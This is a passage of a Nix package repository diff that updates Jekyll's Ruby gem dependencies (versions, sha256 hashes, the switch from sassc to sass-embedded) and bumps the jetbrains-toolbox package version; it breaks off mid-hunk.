[]; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1mnxzcq8kmyfb9bkzqnp019d1hx1vprip3yzdkkha6b3qz5rgg9r"; type = "gem"; }; - version = "4.0.1"; + version = "3.25.3"; }; html-pipeline = { dependencies = ["activesupport" "nokogiri"]; @@ -119,10 +170,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1vdcchz7jli1p0gnc669a7bj3q1fv09y9ppf0y3k0vb1jwdwrqwi"; + sha256 = "0qaamqsh5f3szhcakkak8ikxlzxqnv49n2p7504hcz2l0f4nj0wx"; type = "gem"; }; - version = "1.12.0"; + version = "1.14.1"; }; jekyll = { dependencies = ["addressable" "colorator" "em-websocket" "i18n" "jekyll-sass-converter" "jekyll-watch" "kramdown" "kramdown-parser-gfm" "liquid" "mercenary" "pathutil" "rouge" "safe_yaml" "terminal-table" "webrick"]; @@ -130,10 +181,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0m866i41j7y5ipvl7f0vz82mypv5irqz9xxbx44s5pdsmi3dyawy"; + sha256 = "0638cvpmk3py1w2dxpav6l0c854y6l94b6gyc2aa16i7r897z64a"; type = "gem"; }; - version = "4.3.1"; + version = "4.3.3"; }; jekyll-avatar = { dependencies = ["jekyll"]; @@ -158,15 +209,15 @@ version = "1.6.0"; }; jekyll-sass-converter = { - dependencies = ["sassc"]; + dependencies = ["sass-embedded"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "077xkkkb592vg8kxdia9jwsaz1bc70lkpf4hdvazjqphn5hlz2bi"; + sha256 = "00n9v19h0qgjijygfdkdh2gwpmdlz49nw1mqk6fnp43f317ngrz2"; type = "gem"; }; - version = "2.2.0"; + version = "3.0.0"; }; jekyll-seo-tag = { dependencies = ["jekyll"]; @@ -239,10 +290,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0zhg5ha8zy8zw9qr3fl4wgk4r5940n4128xm2pn4shpbzdbsj5by"; + sha256 = "1czxv2i1gv3k7hxnrgfjb0z8khz74l4pmfwd70c7kr25l2qypksg"; type = "gem"; }; - version = "4.0.3"; + version = "4.0.4"; }; listen = { dependencies = ["rb-fsevent" "rb-inotify"]; @@ -250,10 +301,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0agybr37wpjv3xy4ipcmsvsibgdgphzrwbvcj4vfiykpmakwm01v"; + sha256 = "0rwwsmvq79qwzl6324yc53py02kbrcww35si720490z5w0j497nv"; type = "gem"; }; - version = "3.7.1"; + version = "3.9.0"; }; mercenary = { groups = ["default"]; @@ -270,20 +321,30 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0rapl1sfmfi3bfr68da4ca16yhc0pp93vjwkj7y3rdqrzy3b41hy"; + sha256 = "1kl9c3kdchjabrihdqfmcplk3lq4cw1rr9f378y6q22qwy5dndvs"; type = "gem"; }; - version = "2.8.0"; + version = "2.8.5"; }; minitest = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0516ypqlx0mlcfn5xh7qppxqc3xndn1fnadxawa8wld5dkcimy30"; + sha256 = "0667vf0zglacry87nkcl3ns8421aydvz71vfa3g3yjhiq8zh19f5"; + type = "gem"; + }; + version = "5.22.2"; + }; + mutex_m = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1ma093ayps1m92q845hmpk0dmadicvifkbf05rpq9pifhin0rvxn"; type = "gem"; }; - version = "5.16.3"; + version = "0.2.0"; }; nokogiri = { dependencies = ["mini_portile2" "racc"]; @@ -291,10 +352,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0cam1455nmi3fzzpa9ixn2hsim10fbprmj62ajpd6d02mwdprwwn"; + sha256 = "173zavvxlwyi48lfskk48wcrdbkvjlhjhvy4jpcrfx72rpjjx4k8"; type = "gem"; }; - version = "1.13.9"; + version = "1.16.2"; }; pathutil = { dependencies = ["forwardable-extended"]; @@ -312,20 +373,30 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0sqw1zls6227bgq38sxb2hs8nkdz4hn1zivs27mjbniswfy4zvi6"; + sha256 = "1bni4qjrsh2q49pnmmd6if4iv3ak36bd2cckrs6npl111n769k9m"; type = "gem"; }; - version = "5.0.0"; + version = "5.0.4"; }; racc = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0la56m0z26j3mfn1a9lf2l03qx1xifanndf9p3vx1azf6sqy7v9d"; + sha256 = "01b9662zd2x9bp4rdjfid07h09zxj7kvn7f5fghbqhzc625ap1dp"; type = "gem"; }; - version = "1.6.0"; + version = "1.7.3"; + }; + rake = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1ilr853hawi09626axx0mps4rkkmxcs54mapz9jnqvpnlwd3wsmy"; + type = "gem"; + }; + version = "13.1.0"; }; rb-fsevent = { groups = ["default"]; @@ -353,20 +424,30 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "08ximcyfjy94pm1rhcx04ny1vx2sk0x4y185gzn86yfsbzwkng53"; + sha256 = "05i8518ay14kjbma550mv0jm8a6di8yp5phzrd8rj44z9qnrlrp0"; type = "gem"; }; - version = "3.2.5"; + version = "3.2.6"; }; rouge = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "066w2wf3mwkzynz9h7qqvvr0w6rq6q45ngjfh9z0s08ny2gpdbmq"; + sha256 = "1fkfa0iq3r9b0zzrxpxha17avmyzci3kidzmfbf6fd1279mndpb0"; type = "gem"; }; - version = "4.0.0"; + version = "4.2.0"; + }; + ruby2_keywords = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1vz322p8n39hz3b4a9gkmz9y7a5jaz41zrm2ywf31dvkqm03glgz"; + type = "gem"; + }; + version = "0.0.5"; }; safe_yaml = { groups = ["default"]; @@ -378,16 +459,16 @@ }; version = "1.0.5"; }; - sassc = { - dependencies = ["ffi"]; + sass-embedded = { + dependencies = ["google-protobuf" "rake"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0gpqv48xhl8mb8qqhcifcp0pixn206a7imc07g48armklfqa4q2c"; + sha256 = "1ccqqkmicqs2nbawyknb17qfafwqq0k6jxibcm86vqd1jp185pxa"; type = "gem"; }; - version = "2.4.0"; + version = "1.71.1"; }; terminal-table = { dependencies = ["unicode-display_width"]; @@ -406,29 +487,29 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0rx114mpqnw2k4h98vc0rs0x0bmf0img84yh8mkkjkal07cjydf5"; + sha256 = "16w2g84dzaf3z13gxyzlzbf748kylk5bdgg3n1ipvkvvqy685bwd"; type = "gem"; }; - version = "2.0.5"; + version = "2.0.6"; }; unicode-display_width = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0ra70s8prfacpqwj5v2mqn1rbfz6xds3n9nsr9cwzs3z2c0wm5j7"; + sha256 = "1d0azx233nags5jx3fqyr23qa2rhgzbhv8pxp46dgbg1mpf82xky"; type = "gem"; }; - version = "2.3.0"; + version = "2.5.0"; }; webrick = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1d4cvgmxhfczxiq5fr534lmizkhigd15bsx5719r5ds7k7ivisc7"; + sha256 = "13qm7s0gr2pmfcl7dxrmq38asaza4w0i2n9my4yzs499j731wh8r"; type = "gem"; }; - version = "1.7.0"; + version = "1.8.1"; }; } diff --git a/pkgs/applications/misc/jekyll/default.nix b/pkgs/applications/misc/jekyll/default.nix index 510e06ab53bf9..2b9f1497b765d 100644 --- a/pkgs/applications/misc/jekyll/default.nix +++ b/pkgs/applications/misc/jekyll/default.nix @@ -53,5 +53,6 @@ in bundlerApp { license = licenses.mit; maintainers = with maintainers; [ ]; platforms = platforms.unix; + mainProgram = "jekyll"; }; } diff --git a/pkgs/applications/misc/jekyll/full/Gemfile.lock b/pkgs/applications/misc/jekyll/full/Gemfile.lock index 6b1cc609e080f..04d0e9d0cf1ee 100644 --- a/pkgs/applications/misc/jekyll/full/Gemfile.lock +++ b/pkgs/applications/misc/jekyll/full/Gemfile.lock @@ -1,13 +1,20 @@ GEM remote: https://rubygems.org/ specs: - activesupport (7.0.4) + activesupport (7.1.3.2) + base64 + bigdecimal concurrent-ruby (~> 1.0, >= 1.0.2) + connection_pool (>= 2.2.5) + drb i18n (>= 1.6, < 2) minitest (>= 5.1) + mutex_m tzinfo (~> 2.0) - addressable (2.8.1) + addressable (2.8.6) public_suffix (>= 2.0.2, < 6.0) + base64 (0.2.0) + bigdecimal (3.1.6) classifier-reborn (2.3.0) fast-stemmer (~> 1.0) matrix (~> 0.4) @@ -17,27 +24,31 @@ GEM execjs coffee-script-source (1.12.2) colorator (1.1.0) - concurrent-ruby (1.1.10) + concurrent-ruby (1.2.3) + connection_pool (2.4.1) + drb (2.2.0) + ruby2_keywords em-websocket (0.5.3) eventmachine (>= 0.12.9) http_parser.rb (~> 0) eventmachine (1.2.7) - execjs (2.8.1) - faraday (2.7.1) - faraday-net_http (>= 2.0, < 3.1) - ruby2_keywords (>= 0.0.4) - faraday-net_http (3.0.2) + execjs (2.9.1) + faraday (2.9.0) + faraday-net_http (>= 2.0, < 3.2) + faraday-net_http (3.1.0) + net-http fast-stemmer (1.0.2) - ffi (1.15.5) + ffi (1.16.3) forwardable-extended (2.6.0) - gemoji (4.0.1) + gemoji (4.1.0) + google-protobuf (3.25.3) html-pipeline (2.14.3) activesupport (>= 2) nokogiri (>= 1.4) http_parser.rb (0.8.0) - i18n (1.12.0) + i18n (1.14.1) concurrent-ruby (~> 1.0) - jekyll (4.3.1) + jekyll (4.3.3) addressable (~> 2.4) colorator (~> 1.0) em-websocket (~> 0.5) @@ -70,12 +81,12 @@ GEM html-pipeline (~> 2.3) jekyll (>= 3.7, < 5.0) jekyll-paginate (1.1.0) - jekyll-polyglot (1.5.1) - jekyll (>= 3.0) + jekyll-polyglot (1.7.0) + jekyll (>= 4.0, >= 3.0) jekyll-redirect-from (0.16.0) jekyll (>= 3.3, < 5.0) - jekyll-sass-converter (2.2.0) - sassc (> 2.0.1, < 3.0) + jekyll-sass-converter (3.0.0) + sass-embedded (~> 1.54) jekyll-seo-tag (2.8.0) jekyll (>= 3.8, < 5.0) jekyll-sitemap (1.4.0) @@ -93,54 +104,60 @@ GEM kramdown-syntax-coderay (1.0.1) coderay (~> 1.1) kramdown (~> 2.0) - liquid (4.0.3) - liquid-c (4.0.0) + liquid (4.0.4) + liquid-c (4.0.1) liquid (>= 3.0.0) - listen (3.7.1) + listen (3.9.0) rb-fsevent (~> 0.10, >= 0.10.3) rb-inotify (~> 0.9, >= 0.9.10) matrix (0.4.2) mercenary (0.4.0) - mime-types (3.4.1) + mime-types (3.5.2) mime-types-data (~> 3.2015) - mime-types-data (3.2022.0105) - mini_magick (4.11.0) - mini_portile2 (2.8.0) - minitest (5.16.3) - nokogiri (1.13.9) - mini_portile2 (~> 2.8.0) + mime-types-data (3.2024.0206) + mini_magick (4.12.0) + mini_portile2 (2.8.5) + minitest (5.22.2) + mutex_m (0.2.0) + net-http (0.4.1) + uri + nokogiri (1.16.2) + mini_portile2 (~> 2.8.2) racc (~> 1.4) octokit (4.25.1) faraday (>= 1, < 3) sawyer (~> 0.9) pathutil (0.16.2) forwardable-extended (~> 2.6) - psych (4.0.6) + psych (5.1.2) stringio - public_suffix (5.0.0) - racc (1.6.0) + public_suffix (5.0.4) + racc (1.7.3) + rake (13.1.0) rb-fsevent (0.11.2) rb-inotify (0.10.1) ffi (~> 1.0) - rdoc (6.4.0) + rdoc (6.6.2) psych (>= 4.0.0) - rexml (3.2.5) - rouge (4.0.0) + rexml (3.2.6) + rouge (4.2.0) ruby2_keywords (0.0.5) safe_yaml (1.0.5) - sassc (2.4.0) - ffi (~> 1.9) + sass-embedded (1.71.1) + google-protobuf (~> 3.25) + rake (>= 13.0.0) sawyer (0.9.2) addressable (>= 2.3.5) faraday (>= 0.17.3, < 3) - stringio (3.0.2) + stringio (3.1.0) terminal-table (3.0.2) unicode-display_width (>= 1.1.1, < 3) tomlrb (1.3.0) - tzinfo (2.0.5) + tzinfo (2.0.6) concurrent-ruby (~> 1.0) - unicode-display_width (2.3.0) - webrick (1.7.0) + unicode-display_width (2.5.0) + uri (0.13.0) + webrick (1.8.1) yajl-ruby (1.4.3) PLATFORMS @@ -169,4 +186,4 @@ DEPENDENCIES yajl-ruby (~> 1.4) BUNDLED WITH - 2.3.9 + 2.5.6 diff --git a/pkgs/applications/misc/jekyll/full/gemset.nix b/pkgs/applications/misc/jekyll/full/gemset.nix index 3607b507cd9d4..b6eaa1a1eede0 100644 --- a/pkgs/applications/misc/jekyll/full/gemset.nix +++ b/pkgs/applications/misc/jekyll/full/gemset.nix @@ -1,14 +1,14 @@ { activesupport = { - dependencies = ["concurrent-ruby" "i18n" "minitest" "tzinfo"]; + dependencies = ["base64" "bigdecimal" "concurrent-ruby" "connection_pool" "drb" "i18n" "minitest" "mutex_m" "tzinfo"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "183az13i4fsm28d0l5xhbjpmcj3l1lxzcxlx8pi8zrbd933jwqd0"; + sha256 = "0blbbf2x7dn7ar4g9aij403582zb6zscbj48bz63lvaamsvlb15d"; type = "gem"; }; - version = "7.0.4"; + version = "7.1.3.2"; }; addressable = { dependencies = ["public_suffix"]; @@ -16,10 +16,30 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1ypdmpdn20hxp5vwxz3zc04r5xcwqc25qszdlg41h8ghdqbllwmw"; + sha256 = "0irbdwkkjwzajq1ip6ba46q49sxnrl2cw7ddkdhsfhb6aprnm3vr"; type = "gem"; }; - version = "2.8.1"; + version = "2.8.6"; + }; + base64 = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "01qml0yilb9basf7is2614skjp8384h2pycfx86cr8023arfj98g"; + type = "gem"; + }; + version = "0.2.0"; + }; + bigdecimal = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "00db5v09k1z3539g1zrk7vkjrln9967k08adh6qx33ng97a2gg5w"; + type = "gem"; + }; + version = "3.1.6"; }; classifier-reborn = { dependencies = ["fast-stemmer" "matrix"]; @@ -90,10 +110,31 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0s4fpn3mqiizpmpy2a24k4v365pv75y50292r8ajrv4i1p5b2k14"; + sha256 = "1qh1b14jwbbj242klkyz5fc7npd4j0mvndz62gajhvl1l3wd7zc2"; type = "gem"; }; - version = "1.1.10"; + version = "1.2.3"; + }; + connection_pool = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1x32mcpm2cl5492kd6lbjbaf17qsssmpx9kdyr7z1wcif2cwyh0g"; + type = "gem"; + }; + version = "2.4.1"; + }; + drb = { + dependencies = ["ruby2_keywords"]; + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "03ylflxbp9jrs1hx3d4wvx05yb9hdq4a0r706zz6qc6kvqfazr79"; + type = "gem"; + }; + version = "2.2.0"; }; em-websocket = { dependencies = ["eventmachine" "http_parser.rb"]; @@ -121,31 +162,32 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "121h6af4i6wr3wxvv84y53jcyw2sk71j5wsncm6wq6yqrwcrk4vd"; + sha256 = "1yywajqlpjhrj1m43s3lfg3i4lkb6pxwccmwps7qw37ndmphdzg8"; type = "gem"; }; - version = "2.8.1"; + version = "2.9.1"; }; faraday = { - dependencies = ["faraday-net_http" "ruby2_keywords"]; + dependencies = ["faraday-net_http"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1wyz9ab0mzi84gpf81fs19vrixglmmxi25k6n1mn9h141qmsp590"; + sha256 = "1qqb1rmk0f9m82iijjlqadh5yby1bhnr6svjk9vxdvh6f181988s"; type = "gem"; }; - version = "2.7.1"; + version = "2.9.0"; }; faraday-net_http = { + dependencies = ["net-http"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "13byv3mp1gsjyv8k0ih4612y6vw5kqva6i03wcg4w2fqpsd950k8"; + sha256 = "17w51yk4rrm9rpnbc3x509s619kba0jga3qrj4b17l30950vw9qn"; type = "gem"; }; - version = "3.0.2"; + version = "3.1.0"; }; fast-stemmer = { groups = ["default"]; @@ -174,10 +216,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1862ydmclzy1a0cjbvm8dz7847d9rch495ib0zb64y84d3xd4bkg"; + sha256 = "1yvii03hcgqj30maavddqamqy50h7y6xcn2wcyq72wn823zl4ckd"; type = "gem"; }; - version = "1.15.5"; + version = "1.16.3"; }; forwardable-extended = { groups = ["default"]; @@ -194,10 +236,20 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "07lkqllgn7161rvnhnfy7adnfqv0xvr4c3ncsfxixdgmzi6acn5h"; + sha256 = "06nw5mfscjmpap7f0bc9f2hj6zd4jy3pk1lhs6llx5my1h138i3k"; type = "gem"; }; - version = "4.0.1"; + version = "4.1.0"; + }; + google-protobuf = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1mnxzcq8kmyfb9bkzqnp019d1hx1vprip3yzdkkha6b3qz5rgg9r"; + type = "gem"; + }; + version = "3.25.3"; }; html-pipeline = { dependencies = ["activesupport" "nokogiri"]; @@ -226,10 +278,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1vdcchz7jli1p0gnc669a7bj3q1fv09y9ppf0y3k0vb1jwdwrqwi"; + sha256 = "0qaamqsh5f3szhcakkak8ikxlzxqnv49n2p7504hcz2l0f4nj0wx"; type = "gem"; }; - version = "1.12.0"; + version = "1.14.1"; }; jekyll = { dependencies = ["addressable" "colorator" "em-websocket" "i18n" "jekyll-sass-converter" "jekyll-watch" "kramdown" "kramdown-parser-gfm" "liquid" "mercenary" "pathutil" "rouge" "safe_yaml" "terminal-table" "webrick"]; @@ -237,10 +289,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0m866i41j7y5ipvl7f0vz82mypv5irqz9xxbx44s5pdsmi3dyawy"; + sha256 = "0638cvpmk3py1w2dxpav6l0c854y6l94b6gyc2aa16i7r897z64a"; type = "gem"; }; - version = "4.3.1"; + version = "4.3.3"; }; jekyll-avatar = { dependencies = ["jekyll"]; @@ -324,10 +376,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0lx24z2smi6isbdx0afjy68wla579alvljmq8z137b9f7ja2ww0y"; + sha256 = "189scj27hczbxp02s5v27r4civfqq2fr981jrp0xldwvcw5qfbll"; type = "gem"; }; - version = "1.5.1"; + version = "1.7.0"; }; jekyll-redirect-from = { dependencies = ["jekyll"]; @@ -341,15 +393,15 @@ version = "0.16.0"; }; jekyll-sass-converter = { - dependencies = ["sassc"]; + dependencies = ["sass-embedded"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "077xkkkb592vg8kxdia9jwsaz1bc70lkpf4hdvazjqphn5hlz2bi"; + sha256 = "00n9v19h0qgjijygfdkdh2gwpmdlz49nw1mqk6fnp43f317ngrz2"; type = "gem"; }; - version = "2.2.0"; + version = "3.0.0"; }; jekyll-seo-tag = { dependencies = ["jekyll"]; @@ -445,10 +497,10 @@ }]; source = { remotes = ["https://rubygems.org"]; - sha256 = "0zhg5ha8zy8zw9qr3fl4wgk4r5940n4128xm2pn4shpbzdbsj5by"; + sha256 = "1czxv2i1gv3k7hxnrgfjb0z8khz74l4pmfwd70c7kr25l2qypksg"; type = "gem"; }; - version = "4.0.3"; + version = "4.0.4"; }; liquid-c = { dependencies = ["liquid"]; @@ -468,10 +520,10 @@ }]; source = { remotes = ["https://rubygems.org"]; - sha256 = "0ibcpajsgq530xrz3dk578mfvivrlfd624j6ifz6ms4w69j8jqj6"; + sha256 = "07psn4z99738x2vqgl097pgdnanz0pilfp6nla405y1l802nfq7j"; type = "gem"; }; - version = "4.0.0"; + version = "4.0.1"; }; listen = { dependencies = ["rb-fsevent" "rb-inotify"]; @@ -479,10 +531,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0agybr37wpjv3xy4ipcmsvsibgdgphzrwbvcj4vfiykpmakwm01v"; + sha256 = "0rwwsmvq79qwzl6324yc53py02kbrcww35si720490z5w0j497nv"; type = "gem"; }; - version = "3.7.1"; + version = "3.9.0"; }; matrix = { groups = ["default"]; @@ -522,50 +574,71 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0ipw892jbksbxxcrlx9g5ljq60qx47pm24ywgfbyjskbcl78pkvb"; + sha256 = "1r64z0m5zrn4k37wabfnv43wa6yivgdfk6cf2rpmmirlz889yaf1"; type = "gem"; }; - version = "3.4.1"; + version = "3.5.2"; }; mime-types-data = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "003gd7mcay800k2q4pb2zn8lwwgci4bhi42v2jvlidm8ksx03i6q"; + sha256 = "0zpn5brxdf5akh7ij511bkrd30fxd7697shmxxszahqj9m62zvn5"; type = "gem"; }; - version = "3.2022.0105"; + version = "3.2024.0206"; }; mini_magick = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1aj604x11d9pksbljh0l38f70b558rhdgji1s9i763hiagvvx2hs"; + sha256 = "0slh78f9z6n0l1i2km7m48yz7l4fjrk88sj1f4mh1wb39sl2yc37"; type = "gem"; }; - version = "4.11.0"; + version = "4.12.0"; }; mini_portile2 = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0rapl1sfmfi3bfr68da4ca16yhc0pp93vjwkj7y3rdqrzy3b41hy"; + sha256 = "1kl9c3kdchjabrihdqfmcplk3lq4cw1rr9f378y6q22qwy5dndvs"; type = "gem"; }; - version = "2.8.0"; + version = "2.8.5"; }; minitest = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0516ypqlx0mlcfn5xh7qppxqc3xndn1fnadxawa8wld5dkcimy30"; + sha256 = "0667vf0zglacry87nkcl3ns8421aydvz71vfa3g3yjhiq8zh19f5"; + type = "gem"; + }; + version = "5.22.2"; + }; + mutex_m = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1ma093ayps1m92q845hmpk0dmadicvifkbf05rpq9pifhin0rvxn"; + type = "gem"; + }; + version = "0.2.0"; + }; + net-http = { + dependencies = ["uri"]; + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "10n2n9aq00ih8v881af88l1zyrqgs5cl3njdw8argjwbl5ggqvm9"; type = "gem"; }; - version = "5.16.3"; + version = "0.4.1"; }; nokogiri = { dependencies = ["mini_portile2" "racc"]; @@ -573,10 +646,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0cam1455nmi3fzzpa9ixn2hsim10fbprmj62ajpd6d02mwdprwwn"; + sha256 = "173zavvxlwyi48lfskk48wcrdbkvjlhjhvy4jpcrfx72rpjjx4k8"; type = "gem"; }; - version = "1.13.9"; + version = "1.16.2"; }; octokit = { dependencies = ["faraday" "sawyer"]; @@ -606,30 +679,40 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0xmq609h7j0xjr7jwayg8kmvcpp347cp0wnyq7jgpn58vk1ja17p"; + sha256 = "0s5383m6004q76xm3lb732bp4sjzb6mxb6rbgn129gy2izsj4wrk"; type = "gem"; }; - version = "4.0.6"; + version = "5.1.2"; }; public_suffix = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0sqw1zls6227bgq38sxb2hs8nkdz4hn1zivs27mjbniswfy4zvi6"; + sha256 = "1bni4qjrsh2q49pnmmd6if4iv3ak36bd2cckrs6npl111n769k9m"; type = "gem"; }; - version = "5.0.0"; + version = "5.0.4"; }; racc = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0la56m0z26j3mfn1a9lf2l03qx1xifanndf9p3vx1azf6sqy7v9d"; + sha256 = "01b9662zd2x9bp4rdjfid07h09zxj7kvn7f5fghbqhzc625ap1dp"; type = "gem"; }; - version = "1.6.0"; + version = "1.7.3"; + }; + rake = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1ilr853hawi09626axx0mps4rkkmxcs54mapz9jnqvpnlwd3wsmy"; + type = "gem"; + }; + version = "13.1.0"; }; rb-fsevent = { groups = ["default"]; @@ -658,30 +741,30 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1bxzcvxvrmb1ngxz0bgz1va4q9c4w8m6gc8lmdhi6gnvaaf98gsy"; + sha256 = "14wnrpd1kl43ynk1wwwgv9avsw84d1lrvlfyrjy3d4h7h7ndnqzp"; type = "gem"; }; - version = "6.4.0"; + version = "6.6.2"; }; rexml = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "08ximcyfjy94pm1rhcx04ny1vx2sk0x4y185gzn86yfsbzwkng53"; + sha256 = "05i8518ay14kjbma550mv0jm8a6di8yp5phzrd8rj44z9qnrlrp0"; type = "gem"; }; - version = "3.2.5"; + version = "3.2.6"; }; rouge = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "066w2wf3mwkzynz9h7qqvvr0w6rq6q45ngjfh9z0s08ny2gpdbmq"; + sha256 = "1fkfa0iq3r9b0zzrxpxha17avmyzci3kidzmfbf6fd1279mndpb0"; type = "gem"; }; - version = "4.0.0"; + version = "4.2.0"; }; ruby2_keywords = { groups = ["default"]; @@ -703,16 +786,16 @@ }; version = "1.0.5"; }; - sassc = { - dependencies = ["ffi"]; + sass-embedded = { + dependencies = ["google-protobuf" "rake"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0gpqv48xhl8mb8qqhcifcp0pixn206a7imc07g48armklfqa4q2c"; + sha256 = "1ccqqkmicqs2nbawyknb17qfafwqq0k6jxibcm86vqd1jp185pxa"; type = "gem"; }; - version = "2.4.0"; + version = "1.71.1"; }; sawyer = { dependencies = ["addressable" "faraday"]; @@ -730,10 +813,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1jns0x5lbafyqyx7pgzfs6i4ykc7p6zg7gxa6hd82w40n6z9rdvi"; + sha256 = "063psvsn1aq6digpznxfranhcpmi0sdv2jhra5g0459sw0x2dxn1"; type = "gem"; }; - version = "3.0.2"; + version = "3.1.0"; }; terminal-table = { dependencies = ["unicode-display_width"]; @@ -762,30 +845,40 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0rx114mpqnw2k4h98vc0rs0x0bmf0img84yh8mkkjkal07cjydf5"; + sha256 = "16w2g84dzaf3z13gxyzlzbf748kylk5bdgg3n1ipvkvvqy685bwd"; type = "gem"; }; - version = "2.0.5"; + version = "2.0.6"; }; unicode-display_width = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0ra70s8prfacpqwj5v2mqn1rbfz6xds3n9nsr9cwzs3z2c0wm5j7"; + sha256 = "1d0azx233nags5jx3fqyr23qa2rhgzbhv8pxp46dgbg1mpf82xky"; type = "gem"; }; - version = "2.3.0"; + version = "2.5.0"; + }; + uri = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "094gk72ckazf495qc76gk09b5i318d5l9m7bicg2wxlrjcm3qm96"; + type = "gem"; + }; + version = "0.13.0"; }; webrick = { groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1d4cvgmxhfczxiq5fr534lmizkhigd15bsx5719r5ds7k7ivisc7"; + sha256 = "13qm7s0gr2pmfcl7dxrmq38asaza4w0i2n9my4yzs499j731wh8r"; type = "gem"; }; - version = "1.7.0"; + version = "1.8.1"; }; yajl-ruby = { groups = ["default"]; diff --git a/pkgs/applications/misc/jekyll/update.sh b/pkgs/applications/misc/jekyll/update.sh index bc3c0d5248b08..650f3993f51e3 100755 --- a/pkgs/applications/misc/jekyll/update.sh +++ b/pkgs/applications/misc/jekyll/update.sh @@ -1,5 +1,5 @@ #!/usr/bin/env nix-shell -#!nix-shell -i bash -p bundix zlib +#!nix-shell -i bash -p bundix zlib libyaml set -o errexit set -o nounset diff --git a/pkgs/applications/misc/jetbrains-toolbox/default.nix b/pkgs/applications/misc/jetbrains-toolbox/default.nix index ca8394e0dbdbc..f9e942ca9411e 100644 --- a/pkgs/applications/misc/jetbrains-toolbox/default.nix +++ b/pkgs/applications/misc/jetbrains-toolbox/default.nix @@ -2,7 +2,6 @@ , lib , fetchzip , copyDesktopItems -, makeDesktopItem , makeWrapper , runCommand , appimageTools @@ -10,11 +9,11 @@ }: let pname = "jetbrains-toolbox"; - version = "2.1.3.18901"; + version = "2.2.2.20062"; src = fetchzip { url = "https://download.jetbrains.com/toolbox/jetbrains-toolbox-${version}.tar.gz"; - sha256 = "sha256-XZEpzzFm0DA6iiPGOKbmsuNlpIlt7Qa2A+jEqU6GqgE="; + sha256 = "sha256-wIO9QQa+YfNNqO5HlijVxBDOgVSsJhtGmfChKA8QpPo="; stripRoot = false; }; @@ -24,6 +23,13 @@ let } '' appimage-exec.sh -x $out ${src}/${pname}-${version}/${pname} + + 